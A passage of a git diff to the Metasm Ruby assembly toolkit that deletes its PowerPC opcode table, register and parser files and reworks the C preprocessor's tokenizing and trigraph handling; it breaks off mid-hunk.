"r#@i"] end - end - - # special purpose reg - class SPR < Reg - class << self - attr_accessor :s_to_i, :i_to_s - end - @s_to_i = {'xer' => 1, 'lr' => 8, 'ctr' => 9, 'dec' => 22, 'srr0' => 26, 'srr1' => 27, - 'sprg0' => 272, 'sprg1' => 273, 'sprg2' => 274, 'sprg3' => 275, 'pvr' => 287} - @i_to_s = @s_to_i.invert - - attr_accessor :i - def initialize(i) - @i = i - end - - Sym = @i_to_s.sort.inject({}) { |h, (k, v)| h.update k => v.to_sym } - def symbolic ; Sym[@i] end - def render ; [self.class.i_to_s[@i] || "spr#@i"] end - end - - # floating point - class FPR - attr_accessor :i - def initialize(i) - @i = i - end - - include Renderable - def render ; ["fp#@i"] end - end - - # machine state reg - class MSR < Reg - def symbolic ; :msr end - def render ; ['msr'] end - end - - # condition reg (7 regs * 4 bits : lt, gt, eq, of) - class CR < Reg - attr_accessor :i - def initialize(i) - @i = i - end - - def symbolic ; "cr#@i".to_sym end - def render ; ["cr#@i"] end - end - - # indirection : reg+reg or reg+16b_off - # r0 may mean 0 in some cases (stwx) - class Memref - attr_accessor :base, :offset - def initialize(base, offset) - @base, @offset = base, offset - end - - def symbolic(orig) - b = @base.symbolic - b = nil if b == :r0 # XXX is it true ? - o = @offset - o = o.symbolic if o.kind_of? Reg - Indirection[Expression[b, :+, o].reduce, 4, orig] - end - - include Renderable - def render - if @offset.kind_of? Reg - ['(', @base, ' + ', @offset, ')'] - else - [@offset, '(', @base, ')'] - end - end - end - - def initialize - super() - @endianness = :big - @size = 32 - end - - def init_opcode_list - init - end - - def render_instruction(i) - r = [i.opname] - if not i.args.empty? - r << ' ' - i.args.each { |a| - r << a << ', ' - } - r.pop - end - r - end -end -PPC = PowerPC -end diff --git a/lib/metasm/metasm/ppc/opcodes.rb b/lib/metasm/metasm/ppc/opcodes.rb deleted file mode 100644 index da5396b762..0000000000 --- a/lib/metasm/metasm/ppc/opcodes.rb +++ /dev/null @@ -1,410 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/ppc/main' - -module Metasm -class PowerPC - def addop(name, bin, *argprops) - o = Opcode.new name, bin - o.args.concat(argprops & @fields_mask.keys) - (argprops & @valid_props).each { |p| o.props[p] = true } - @opcode_list << o - end - - # generate l/a variations, add :setip/:saveip, include lr/ctr in opname - def addop_branch(nbase, bin, *argprops) - nbase += 'ctr' if argprops.delete :ctr - nbase += 'lr' if argprops.delete :lr - addop(nbase, bin, :setip, *argprops) - addop(nbase+'l', bin|1, :setip, :saveip, *argprops) - return if nbase[-2, 2] == 'lr' or nbase[-3, 3] == 'ctr' - - addop(nbase+'a', bin|2, :setip, *argprops) - addop(nbase+'la', bin|3, :setip, :saveip, *argprops) - end - - # generate condition variations, passes to addop_branch - def addop_branchcond(nbase, bin, *argprops) - # :bi & 0b11100 is the condition register to use, shift&mask == :bfa. Defaults to cr0 - # bo values - # no cc (10000 != 0) - addop_branch(nbase, bin|(0b10100<<21), :ign_bo_zzz, :stopexec, *argprops) - addop_branch(nbase+'dz', bin|(0b10010<<21), :ign_bo_at2, :stopexec, *argprops) if not argprops.include? :ctr - addop_branch(nbase+'dnz', bin|(0b10000<<21), :ign_bo_at2, :stopexec, *argprops) if not argprops.include? :ctr - - # conditionnal - %w[lt gt eq so].each_with_index { |cd, i| - ncd = {'lt' => 'gte', 'gt' => 'lte', 'eq' => 'ne', 'so' => 'nso'}[cd] - addop_branch(nbase+cd, bin|(0b1100<<21)|(i<<16), :ign_bo_at, *argprops) - addop_branch(nbase+cd, bin|(0b1100<<21)|(i<<16), :ign_bo_at, :bfa, *argprops) - addop_branch(nbase+ncd, bin|(0b100<<21)|(i<<16), :ign_bo_at, *argprops) - addop_branch(nbase+ncd, bin|(0b100<<21)|(i<<16), :ign_bo_at, :bfa, *argprops) - next if argprops.include? :ctr - - addop_branch(nbase+'dz'+cd, bin|(0b1010<<21)|(i<<16), :ign_bo_z, *argprops) - addop_branch(nbase+'dz'+cd, bin|(0b1010<<21)|(i<<16), :ign_bo_z, :bfa, *argprops) - addop_branch(nbase+'dnz'+cd, bin|(0b1000<<21)|(i<<16), :ign_bo_z, *argprops) - addop_branch(nbase+'dnz'+cd, bin|(0b1000<<21)|(i<<16), :ign_bo_z, :bfa, *argprops) - addop_branch(nbase+'dz'+ncd, bin|(0b010<<21)|(i<<16), :ign_bo_z, *argprops) - addop_branch(nbase+'dz'+ncd, bin|(0b010<<21)|(i<<16), :ign_bo_z, :bfa, *argprops) - addop_branch(nbase+'dnz'+ncd, bin|(0b000<<21)|(i<<16), :ign_bo_z, *argprops) - addop_branch(nbase+'dnz'+ncd, bin|(0b000<<21)|(i<<16), :ign_bo_z, :bfa, *argprops) - } - end - - def addop_trap(nbase, bin, *argprops) - addop nbase+'trap', bin|(0b11111<<21), *argprops - addop nbase+'lt', bin|(0b10000<<21), *argprops - addop nbase+'le', bin|(0b10100<<21), *argprops - addop nbase+'eq', bin|(0b00100<<21), *argprops - addop nbase+'ge', bin|(0b01100<<21), *argprops - addop nbase+'gt', bin|(0b01000<<21), *argprops - addop nbase+'ne', bin|(0b11000<<21), *argprops - addop nbase+'llt', bin|(0b00010<<21), *argprops - addop nbase+'lle', bin|(0b00110<<21), *argprops - addop nbase+'lge', bin|(0b00101<<21), *argprops - addop nbase+'lgt', bin|(0b00001<<21), *argprops - end - - - # generate cmp variations (default cr0, w/d) - def addop_cmp(nbase, bin, *argprops) - addop nbase.sub(/(cmpl?)/, '\\1w'), bin, *(argprops-[:bf]) - addop nbase.sub(/(cmpl?)/, '\\1w'), bin, *argprops - addop nbase.sub(/(cmpl?)/, '\\1d'), bin|(1<<@fields_shift[:l]), *(argprops-[:bf]) - addop nbase.sub(/(cmpl?)/, '\\1d'), bin|(1<<@fields_shift[:l]), *argprops - end - - # adds op and 'op.' with last bit of bin set - def addop_(base, bin, *argprops) - addop(base, bin, *argprops) - addop(base+'.', bin|1, *argprops) - end - - # adds op and 'opo' - def addop_o(base, bin, *argprops) - addop(base, bin, *argprops) - addop(base+'o', bin|0x400, *argprops) - end - - def init - @opcode_list = [] - @fields_shift.update :aa => 1, :ba => 16, :bb => 11, :bd => 2, :bf => 23, - :bfa => 18, :bh => 11, :bt => 21, :d => 0, :dq => 4, - :ds => 2, :flm => 17, :fra => 16, :frb => 11, :frc => 6, :frs => 21, - :frt => 21, :fxm => 12, :l => 21, :l_ => 21, :l__ => 16, :lev => 5, - :li => 2, :lk => 0, :mb => 5, :mb_ => 6, :me => 5, :me_ => 1, - :nb => 11, :oe => 10, :ra => 16, :rb => 11, :rc => 0, :rs => 21, - :rt => 21, :sh => 11, :sh_ => 1, :si => 0, :spr => 11, :sr => 16, - :tbr => 11, :th => 21, :to => 21, :u => 12, :ui => 0, - :ign_bo_zzz => 16, :ign_bo_z => 21, :ign_bo_at => 21, :ign_bo_at2 => 16 - - @fields_mask.update :aa => 1, :ba => 31, :bb => 31, :bd => 0x3FFF, :bf => 7, - :bfa => 7, :bh => 3, :bt => 31, :d => 0xFFFF, :dq => 0xFFF, - :ds => 0x3FFF, :flm => 255, :fra => 31, :frb => 31, :frc => 31, :frs => 31, - :frt => 31, :fxm => 255, :l => 1, :l_ => 3, :l__ => 1, :lev => 127, - :li => 0xFFFFFF, :lk => 1, :mb => 63, :mb_ => 31, :me => 63, :me_ => 31, - :nb => 31, :oe => 1, :ra => 31, :rb => 31, :rc => 1, :rs => 31, - :rt => 31, :sh => 31, :sh_ => 1, :si => 0xFFFF, :spr => 0x3FF, :sr => 15, - :tbr => 0x3FF, :th => 15, :to => 31, :u => 15, :ui => 0xFFFF, - :ign_bo_zzz => 0b101111111, :ign_bo_z => 1, :ign_bo_at => 3, :ign_bo_at2 => 0b100111111 - - @fields_shift[:ra_i16] = @fields_shift[:ra_i16s] = @fields_shift[:ra_i16q] = 0 - @fields_mask[:ra_i16] = (@fields_mask[:d] << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra]) - @fields_mask[:ra_i16s] = (@fields_mask[:ds] << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra]) - @fields_mask[:ra_i16q] = (@fields_mask[:dq] << @fields_shift[:d]) | (@fields_mask[:ra] << @fields_shift[:ra]) - - - addop_branch 'b', 0x48000000, :li, :stopexec - addop_branchcond 'b', 0x40000000, :bd - addop_branchcond 'b', 0x4C000020, :lr - addop_branchcond 'b', 0x4C000420, :ctr - - addop 'sc', 0x44000002, :lev - addop 'crand', 0x4C000202, :bt, :ba, :bb - addop 'crxor', 0x4C000182, :bt, :ba, :bb - # alias crclr bx -> crxor bx, bx, bx - addop 'cror', 0x4C000382, :bt, :ba, :bb - # alias crmove bx, by -> cror bx, by, by - addop 'crnand', 0x4C0001C2, :bt, :ba, :bb - addop 'crnor', 0x4C000042, :bt, :ba, :bb - # alias crnot bx, by -> crnor bx, by, by - addop 'crandc', 0x4C000102, :bt, :ba, :bb - addop 'creqv', 0x4C000242, :bt, :ba, :bb - # alias crset bx -> creqv bx, bx, bx - addop 'crorc', 0x4C000342, :bt, :ba, :bb - addop 'mcrf', 0x4C000000, :bf, :bfa - addop 'lbz', 0x88000000, :rt, :ra_i16 - addop 'lbzu', 0x8C000000, :rt, :ra_i16 - addop 'lbzx', 0x7C0000AE, :rt, :ra, :rb - addop 'lbzux', 0x7C0000EE, :rt, :ra, :rb - addop 'lhz', 0xA0000000, :rt, :ra_i16 - addop 'lhzu', 0xA4000000, :rt, :ra_i16 - addop 'lhzx', 0x7C00022E, :rt, :ra, :rb - addop 'lhzux', 0x7C00026E, :rt, :ra, :rb - addop 'lha', 0xA8000000, :rt, :ra_i16 - addop 'lhau', 0xAC000000, :rt, :ra_i16 - addop 'lhax', 0x7C0002AE, :rt, :ra, :rb - addop 'lhaux', 0x7C0002EE, :rt, :ra, :rb - addop 'lwz', 0x80000000, :rt, :ra_i16 - addop 'lwzu', 0x84000000, :rt, :ra_i16 - addop 'lwzx', 0x7C00002E, :rt, :ra, :rb - addop 'lwzux', 0x7C00006E, :rt, :ra, :rb - addop 'lwa', 0xE8000002, :rt, :ra_i16s - addop 'lwax', 0x7C0002AA, :rt, :ra, :rb - addop 'lwaux', 0x7C0002EA, :rt, :ra, :rb - addop 'ld', 0xE8000000, :rt, :ra_i16s - addop 'ldu', 0xE8000001, :rt, :ra_i16s - addop 'ldx', 0x7C00002A, :rt, :ra, :rb - addop 'ldux', 0x7C00006A, :rt, :ra, :rb - addop 'stb', 0x98000000, :rs, :ra_i16 - addop 'stbu', 0x9C000000, :rs, :ra_i16 - addop 'stbx', 0x7C0001AE, :rs, :ra, :rb - addop 'stbux', 0x7C0001EE, :rs, :ra, :rb - addop 'sth', 0xB0000000, :rs, :ra_i16 - addop 'sthu', 0xB4000000, :rs, :ra_i16 - addop 'sthx', 0x7C00032E, :rs, :ra, :rb - addop 'sthux', 0x7C00036E, :rs, :ra, :rb - addop 'stw', 0x90000000, :rs, :ra_i16 - addop 'stwu', 0x94000000, :rs, :ra_i16 - addop 'stwx', 0x7C00012E, :rs, :ra, :rb - addop 'stwux', 0x7C00016E, :rs, :ra, :rb - addop 'std', 0xF8000000, :rs, :ra_i16s - addop 'stdu', 0xF8000001, :rs, :ra_i16s - addop 'stdx', 0x7C00012A, :rs, :ra, :rb - addop 'stdux', 0x7C00016A, :rs, :ra, :rb - addop 'lhbrx', 0x7C00062C, :rt, :ra, :rb - addop 'lwbrx', 0x7C00042C, :rt, :ra, :rb - addop 'sthbrx', 0x7C00072C, :rs, :ra, :rb - addop 'stwbrx', 0x7C00052C, :rs, :ra, :rb - addop 'lmw', 0xB8000000, :rt, :ra_i16 - addop 'stmw', 0xBC000000, :rs, :ra_i16 - addop 'lswi', 0x7C0004AA, :rt, :ra, :nb - addop 'lswx', 0x7C00042A, :rt, :ra, :rb - addop 'stswi', 0x7C0005AA, :rs, :ra, :nb - addop 'stswx', 0x7C00052A, :rs, :ra, :rb - addop 'li', 0x38000000, :rt, :si # alias li rx, value -> addi rx, 0, value - addop 'addi', 0x38000000, :rt, :ra, :si - addop 'la', 0x38000000, :rt, :ra_i16 # alias la rx, disp(ry) -> addi rx, ry, disp - addop 'lis', 0x3C000000, :rt, :si # alias lis rx, value -> addis rx, 0, value - addop 'addis', 0x3C000000, :rt, :ra, :si - addop_o 'add', 0x7C000214, :rt, :ra, :rb - addop 'addic', 0x30000000, :rt, :ra, :si - addop_o 'sub', 0x7C000050, :rt, :rb, :ra # alias sub rx, ry, rz -> subf rx, rz, ry - addop_o 'subf', 0x7C000050, :rt, :ra, :rb - addop 'addic.', 0x34000000, :rt, :ra, :si - addop 'subfic', 0x20000000, :rt, :ra, :si - addop_o 'addc', 0x7C000014, :rt, :ra, :rb - addop_o 'subc', 0x7C000010, :rt, :rb, :ra # alias subc rx, ry, rz -> subfc rx, rz, ry - addop_o 'subfc',0x7C000010, :rt, :ra, :rb - addop_o 'adde', 0x7C000114, :rt, :ra, :rb - addop_o 'addme',0x7C0001D4, :rt, :ra - addop_o 'subfe',0x7C000110, :rt, :ra, :rb - addop_o 'subfme',0x7C0001D0,:rt, :ra - addop_o 'addze',0x7C000194, :rt, :ra - addop_o 'subfze',0x7C000190,:rt, :ra - addop_o 'neg', 0x7C0000D0, :rt, :ra - addop 'mulli', 0x1C000000, :rt, :ra, :si - addop_o 'mulld',0x7C0001D2, :rt, :ra, :rb - addop_o 'mullw',0x7C0001D6, :rt, :ra, :rb - addop_ 'mulhd', 0x7C000092, :rt, :ra, :rb - addop_ 'mulhdu',0x7C000012, :rt, :ra, :rb - addop_ 'mulhw', 0x7C000096, :rt, :ra, :rb - addop_ 'mulhwu',0x7C000016, :rt, :ra, :rb - addop_o 'divd', 0x7C0003D2, :rt, :ra, :rb - addop_o 'divw', 0x7C0003D6, :rt, :ra, :rb - addop_o 'divdu',0x7C000392, :rt, :ra, :rb - addop_o 'divwu',0x7C000396, :rt, :ra, :rb - addop_cmp 'cmpi', 0x2C000000, :bf, :ra, :si - addop_cmp 'cmp', 0x7C000000, :bf, :ra, :rb - addop_cmp 'cmpli', 0x28000000, :bf, :ra, :ui - addop_cmp 'cmpl', 0x7C000040, :bf, :ra, :rb - addop 'andi.', 0x70000000, :ra, :rs, :ui - addop 'andis.', 0x74000000, :ra, :rs, :ui - addop 'nop', 0x60000000 - addop 'ori', 0x60000000, :ra, :rs, :ui - addop 'oris', 0x64000000, :ra, :rs, :ui - addop 'xori', 0x68000000, :ra, :rs, :ui - addop 'xoris', 0x6C000000, :ra, :rs, :ui - addop_ 'and', 0x7C000038, :ra, :rs, :rb - addop_ 'xor', 0x7C000278, :ra, :rs, :rb - addop_ 'or', 0x7C000378, :ra, :rs, :rb - # alias mr rx, ry -> or rx, ry, ry - addop_ 'nand', 0x7C0003B8, :ra, :rs, :rb - addop_ 'nor', 0x7C0000F8, :ra, :rs, :rb - # alias not rx, ry -> nor rx, ry, ry - addop_ 'andc', 0x7C000078, :ra, :rs, :rb - addop_ 'eqv', 0x7C000238, :ra, :rs, :rb - addop_ 'orc', 0x7C000338, :ra, :rs, :rb - addop_ 'extsb', 0x7C000774, :ra, :rs - addop_ 'extsw', 0x7C0007B4, :ra, :rs - addop_ 'extsh', 0x7C000734, :ra, :rs - addop_ 'cntlzd',0x7C000074, :ra, :rs - addop_ 'cntlzw',0x7C000034, :ra, :rs - addop 'popcntb',0x7C0000F4, :ra, :rs - addop 'clrldi', 0x78000000, :ra, :rs, :mb # alias clrldi rx, ry, n -> rldicl rx, ry, 0, n - addop_ 'rldicl',0x78000000, :ra, :rs, :sh, :mb, :sh_ - # alias extrdi rx, ry, n, b -> rldicl rx, ry, b+n, 64 - n - # alias srdi rx, ry, n -> rldicl rx, ry, 64 - n, n - addop_ 'rldicr',0x78000004, :ra, :rs, :sh, :me, :sh_ - # alias extldi rx, ry, n, b -> rldicr rx, ry, b, n - 1 - # alias sldi rx, ry, n -> rldicr rx, ry, n, 63 - n - # alias clrrdi rx, ry, n -> rldicr rx, ry, 0, 63 - n - addop_ 'rldic', 0x78000008, :ra, :rs, :sh, :mb, :sh_ - # alias clrlsldi rx, ry, b, n -> rldic rx, ry, n, b - n - addop_ 'rlwinm',0x54000000, :ra, :rs, :sh, :mb_, :me_ - # alias extlwi rx, ry, n, b -> rlwinm rx, ry, b, 0, n - 1 - # alias srwi rx, ry, n -> rlwinm rx, ry, 32 - n, n, 31 - # alias clrrwi rx, ry, n -> rlwinm rx, ry, 0, 0, 31 - n - addop 'rotld', 0x78000010, :ra, :rs, :rb # alias rotld rx, ry, rz -> rldcl rx, ry, rz, 0 - addop_ 'rldcl', 0x78000010, :ra, :rs, :rb, :mb - addop_ 'rldcr', 0x78000012, :ra, :rs, :rb, :me - addop 'rotlw', 0x5C000000|(31<<@fields_shift[:me_]), :ra, :rs, :rb # alias rotlw rx, ry, rz -> rlwnm rx, ry, rz, 0, 31 - addop_ 'rlwnm', 0x5C000000, :ra, :rs, :rb, :mb_, :me_ - addop_ 'rldimi',0x7800000C, :ra, :rs, :sh, :mb, :sh_ - # alias insrdi rx, ry, n, b -> rldimi rx, ry, 64 - (b+n), b - addop_ 'rlwimi',0x50000000, :ra, :rs, :sh, :mb_, :me_ - # alias inslwi rx, ry, n, b -> rlwimi rx, ry, 32-b, b, b+n - 1 - addop_ 'sld', 0x7C000036, :ra, :rs, :rb - addop_ 'slw', 0x7C000030, :ra, :rs, :rb - addop_ 'srd', 0x7C000436, :ra, :rs, :rb - addop_ 'srw', 0x7C000430, :ra, :rs, :rb - addop_ 'sradi', 0x7C000674, :ra, :rs, :sh, :sh_ - addop_ 'srawi', 0x7C000670, :ra, :rs, :sh - addop_ 'srad', 0x7C000634, :ra, :rs, :rb - addop_ 'sraw', 0x7C000630, :ra, :rs, :rb - #addop 'mtspr', 0x7C0003A6, :spr, :rs - addop 'mtxer', 0x7C0003A6|(1<<16), :rs - addop 'mtlr', 0x7C0003A6|(8<<16), :rs - addop 'mtctr', 0x7C0003A6|(9<<16), :rs - #addop 'mfspr', 0x7C0002A6, :rt, :spr - addop 'mfxer', 0x7C0002A6|(1<<16), :rt - addop 'mflr', 0x7C0002A6|(8<<16), :rt - addop 'mfctr', 0x7C0002A6|(9<<16), :rt - addop 'mtcrf', 0x7C000120, :fxm, :rs - # alias mtcr rx -> mtcrf 0xff, rx - addop 'mfcr', 0x7C000026, :rt - addop 'lfs', 0xC0000000, :frt, :ra_i16 - addop 'lfsu', 0xC4000000, :frt, :ra_i16 - addop 'lfsx', 0x7C00042E, :frt, :ra, :rb - addop 'lfsux', 0x7C00046E, :frt, :ra, :rb - addop 'lfd', 0xC8000000, :frt, :ra_i16 - addop 'lfdu', 0xCC000000, :frt, :ra_i16 - addop 'lfdx', 0x7C0004AE, :frt, :ra, :rb - addop 'lfdux', 0x7C0004EE, :frt, :ra, :rb - addop 'stfs', 0xD0000000, :frs, :ra_i16 - addop 'stfsu', 0xD4000000, :frs, :ra_i16 - addop 'stfsx', 0x7C00052E, :frs, :ra, :rb - addop 'stfsux', 0x7C00056E, :frs, :ra, :rb - addop 'stfd', 0xD8000000, :frs, :ra_i16 - addop 'stfdu', 0xDC000000, :frs, :ra_i16 - addop 'stfdx', 0x7C0005AE, :frs, :ra, :rb - addop 'stfdux', 0x7C0005EE, :frs, :ra, :rb - addop 'stfiwx', 0x7C0007AE, :frs, :ra, :rb - addop_ 'fmr', 0xFC000090, :frt, :frb - addop_ 'fabs', 0xFC000210, :frt, :frb - addop_ 'fneg', 0xFC000050, :frt, :frb - addop_ 'fnabs', 0xFC000110, :frt, :frb - addop_ 'fadd', 0xFC00002A, :frt, :fra, :frb - addop_ 'fadds', 0xEC00002A, :frt, :fra, :frb - addop_ 'fsub', 0xFC000028, :frt, :fra, :frb - addop_ 'fsubs', 0xEC000028, :frt, :fra, :frb - addop_ 'fmul', 0xFC000032, :frt, :fra, :frc - addop_ 'fmuls', 0xEC000032, :frt, :fra, :frc - addop_ 'fdiv', 0xFC000024, :frt, :fra, :frb - addop_ 'fdivs', 0xEC000024, :frt, :fra, :frb - addop_ 'fmadd', 0xFC00003A, :frt, :fra, :frc, :frb - addop_ 'fmadds',0xEC00003A, :frt, :fra, :frc, :frb - addop_ 'fmsub', 0xFC000038, :frt, :fra, :frc, :frb - addop_ 'fmsubs',0xEC000038, :frt, :fra, :frc, :frb - addop_ 'fnmadd',0xFC00003E, :frt, :fra, :frc, :frb - addop_ 'fnmadds',0xEC00003E,:frt, :fra, :frc, :frb - addop_ 'fnmsub',0xFC00003C, :frt, :fra, :frc, :frb - addop_ 'fnmsubs',0xEC00003C,:frt, :fra, :frc, :frb - addop_ 'frsp', 0xFC000018, :frt, :frb - addop_ 'fctid', 0xFC00065C, :frt, :frb - addop_ 'fctidz',0xFC00065E, :frt, :frb - addop_ 'fctiw', 0xFC00001C, :frt, :frb - addop_ 'fctiwz',0xFC00001E, :frt, :frb - addop_ 'fcfid', 0xFC00069C, :frt, :frb - addop 'fcmpu', 0xFC000000, :bf, :fra, :frb - addop 'fcmpo', 0xFC000040, :bf, :fra, :frb - addop_ 'mffs', 0xFC00048E, :frt - addop 'mcrfs', 0xFC000080, :bf, :bfa - addop_ 'mtfsfi',0xFC00010C, :bf, :u - addop_ 'mtfsf', 0xFC00058E, :flm, :frb - addop_ 'mtfsb0',0xFC00008C, :bt - addop_ 'mtfsb1',0xFC00004C, :bt - addop 'mtocrf', 0x7C100120, :fxm, :rs - addop_ 'fsqrt', 0xFC00002C, :frt, :frb - addop_ 'fsqrts',0xEC00002C, :frt, :frb - addop_ 'fre', 0xFC000030, :frt, :frb - addop_ 'fres', 0xEC000030, :frt, :frb - addop_ 'frsqrte',0xFC000034,:frt, :frb - addop_ 'frsqrtes',0xEC000034, :frt, :frb - addop_ 'fsel', 0xFC00002E, :frt, :fra, :frc, :frb - addop 'mcrxr', 0x7C000400, :bf - addop 'icbi', 0x7C0007AC, :ra, :rb - addop 'dcbt', 0x7C00022C, :ra, :rb - addop 'dcbtst', 0x7C0001EC, :ra, :rb - addop 'dcbz', 0x7C0007EC, :ra, :rb - addop 'dcbst', 0x7C00006C, :ra, :rb - addop 'dcbf', 0x7C0000AC, :ra, :rb - addop 'isync', 0x4C00012C - addop 'lwarx', 0x7C000028, :rt, :ra, :rb - addop 'ldarx', 0x7C0000A8, :rt, :ra, :rb - addop 'stwcx.', 0x7C00012D, :rs, :ra, :rb - addop 'stdcx.', 0x7C0001AD, :rs, :ra, :rb - addop 'sync', 0x7C0004AC, :l_ - addop 'eieio', 0x7C0006AC - addop 'mftb', 0x7C0002E6, :rt, :tbr - addop 'eciwx', 0x7C00026C, :rt, :ra, :rb - addop 'ecowx', 0x7C00036C, :rs, :ra, :rb - addop 'dcbt', 0x7C00022C, :ra, :rb, :th - addop 'dcbf', 0x7C0000AC, :ra, :rb - addop 'dcbf', 0x7C0000AC, :ra, :rb, :l - addop 'sc', 0x44000002, :lev - addop 'rfid', 0x4C000024 - addop 'hrfid', 0x4C000224 - addop 'mtmsrd', 0x7C000164, :rs, :l__ - addop 'mfmsr', 0x7C0000A6, :rt - addop 'slbie', 0x7C000364, :rb - addop 'slbmte', 0x7C000324, :rs, :rb - addop 'slbmfev',0x7C0006A6, :rt, :rb - addop 'slbmfee',0x7C000726, :rt, :rb - addop 'tlbie', 0x7C000264, :rb, :l - addop 'tlbiel', 0x7C000224, :rb, :l - addop 'tlbia', 0x7C0002E4 - addop 'tlbsync',0x7C00046C - addop 'mtmsr', 0x7C000124, :rs, :l__ - addop 'lq', 0xE0000000, :rt, :ra_i16q - addop 'stq', 0xF8000002, :rs, :ra_i16s - addop 'mtsr', 0x7C0001A4, :sr, :rs - addop 'mtsrin', 0x7C0001E4, :rs, :rb - addop 'mfsr', 0x7C0004A6, :rt, :sr - addop 'mfsrin', 0x7C000526, :rt, :rb - - addop_trap 'tw', 0x7C000008, :ra, :rb - addop_trap 'twi', 0xC0000000, :ra, :si - addop_trap 'td', 0x7C000088, :ra, :rb - addop_trap 'tdi', 0x08000000, :ra, :si - - # pseudo-instructions - addop 'mr', :pseudo, :ra, :rb - addop 'not', :pseudo, :ra - addop 'not', :pseudo, :ra, :rb - @opcode_list.each { |op| - if op.name =~ /^addi/ - addop op.name.sub('add', 'sub'), :pseudo, *op.args - end - if op.name =~ /^(add|sub|xor|and|or|div|mul|nand)/ and op.args.length == 3 - addop op.name, :pseudo, *op.args[1..-1] - end - } - end -end -end diff --git a/lib/metasm/metasm/ppc/parse.rb b/lib/metasm/metasm/ppc/parse.rb deleted file mode 100644 index 0ec1025fb6..0000000000 --- a/lib/metasm/metasm/ppc/parse.rb +++ /dev/null @@ -1,52 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/ppc/opcodes' -require 'metasm/parse' - -module Metasm -class PowerPC -# TODO - def parse_arg_valid?(op, sym, arg) - # special case for lw reg, imm32(reg) ? (pseudo-instr, need to convert to 'lui t0, up imm32 ori t0 down imm32 add t0, reg lw reg, 0(t0) - case sym - when :rs, :rt, :rd; arg.kind_of? Reg - when :sa, :i16, :i20, :i26; arg.kind_of? Expression - when :rs_i16; arg.kind_of? Memref - when :ft; arg.kind_of? FpReg - else raise "internal error: mips arg #{sym.inspect}" - end - end - - def parse_argument(pgm) - pgm.skip_space - return if not tok = pgm.nexttok - if tok.type == :string and Reg.s_to_i[tok.raw] - pgm.readtok - arg = Reg.new Reg.s_to_i[tok.raw] - elsif tok.type == :string and FpReg.s_to_i[tok.raw] - pgm.readtok - arg = FpReg.new FpReg.s_to_i[tok.raw] - else - arg = Expression.parse pgm - pgm.skip_space - # check memory indirection: 'off(base reg)' # XXX scaled index ? - if arg and pgm.nexttok and pgm.nexttok.type == :punct and pgm.nexttok.raw == '(' - pgm.readtok - pgm.skip_space_eol - ntok = pgm.readtok - raise tok, "Invalid base #{ntok}" unless ntok and ntok.type == :string and Reg.s_to_i[ntok.raw] - base = Reg.new Reg.s_to_i[ntok.raw] - pgm.skip_space_eol - ntok = pgm.readtok - raise tok, "Invalid memory reference, ')' expected" if not ntok or ntok.type != :punct or ntok.raw != ')' - arg = Memref.new base, arg - end - end - arg - end -end -end diff --git a/lib/metasm/metasm/preprocessor.rb b/lib/metasm/metasm/preprocessor.rb index 899f707210..842f4ad8bf 100644 --- a/lib/metasm/metasm/preprocessor.rb +++ b/lib/metasm/metasm/preprocessor.rb @@ -84,7 +84,7 @@ class Preprocessor # modifies the list, returns an array of list of tokens/nil # handles nesting def self.parse_arglist(lexer, list=nil) - readtok = lambda { list ? list.shift : lexer.readtok(false) } + readtok = lambda { list ? list.shift : lexer.readtok_nopp } unreadtok = lambda { |t| list ? (list.unshift(t) if t) : lexer.unreadtok(t) } tok = nil unreadlist = [] @@ -378,6 +378,7 @@ class Preprocessor # hash filename => file content attr_accessor :hooked_include attr_accessor :warn_redefinition + attr_accessor :may_preprocess # global default search directory for #included @@include_search_path = ['/usr/include'] @@ -385,18 +386,14 @@ class Preprocessor def self.include_search_path=(np) @@include_search_path=np end def initialize(text='') - @queue = [] @backtrace = [] @definition = %w[__FILE__ __LINE__ __COUNTER__ __DATE__ __TIME__].inject({}) { |h, n| h.update n => SpecialMacro.new(n) } @include_search_path = @@include_search_path.dup # stack of :accept/:discard/:discard_all/:testing, represents the current nesting of #if..#endif @ifelse_nesting = [] - @text = text - @pos = 0 - @filename = 'unknown' - @lineno = 1 @warn_redefinition = true @hooked_include = {} + @may_preprocess = false @pragma_once = {} @pragma_callback = lambda { |otok| tok = otok @@ -405,6 +402,7 @@ class Preprocessor unreadtok tok puts otok.exception("unhandled pragma #{str.inspect}").message if $VERBOSE } + feed!(text) define '__METASM__', VERSION end @@ -493,11 +491,16 @@ class Preprocessor def feed!(text, filename='unknown', lineno=1) raise ArgumentError, 'need something to parse!' if not text @text = text + if not @may_preprocess and (@text =~ /^\s*(#|\?\?=)/ or (not @definition.empty? and + @text =~ /#{@definition.keys.map { |k| Regexp.escape(k) }.join('|')}/)) + @may_preprocess = true + end # @filename[-1] used in trace_macros to distinguish generic/specific files @filename = "\"#{filename}\"" @lineno = lineno @pos = 0 @queue = [] + @backtrace = [] self end @@ -512,7 +515,7 @@ class Preprocessor # reads one character from self.text # updates self.lineno - # handles trigraphs and \-continued lines + # handles \-continued lines def getchar @ungetcharpos = @pos @ungetcharlineno = @lineno @@ -520,11 +523,11 @@ class Preprocessor @pos += 1 # check trigraph - if c == ?? and @text[@pos] == ?? and Trigraph[@text[@pos+1]] - puts "can i has trigraf plox ??#{c.chr} (#@filename:#@lineno)" if $VERBOSE - c = Trigraph[@text[@pos+1]] - @pos += 2 - end + #if c == ?? and @text[@pos] == ?? and Trigraph[@text[@pos+1]] + # puts "can i has trigraf plox ??#{c.chr} (#@filename:#@lineno)" if $VERBOSE + # c = Trigraph[@text[@pos+1]] + # @pos += 2 + #end # check line continuation # TODO portability @@ -567,9 +570,9 @@ class Preprocessor end # calls readtok_nopp and handles preprocessor directives - def readtok(expand_macros = true) - lastpos = @pos + def readtok tok = readtok_nopp + return tok if not @may_preprocess # shortcut if not tok # end of file: resume parent @@ -579,32 +582,41 @@ class Preprocessor tok = readtok end - elsif (tok.type == :eol or lastpos == 0) and @ifelse_nesting.last != :testing - unreadtok tok if lastpos == 0 - # detect preprocessor directive - # state = 1 => seen :eol, 2 => seen # + elsif tok.type == :punct and tok.raw == '#' and not tok.expanded_from and @ifelse_nesting.last != :testing + # backward check for :eol (skip the '#' itself) + pos = @pos-2 + while pos >= 0 # if 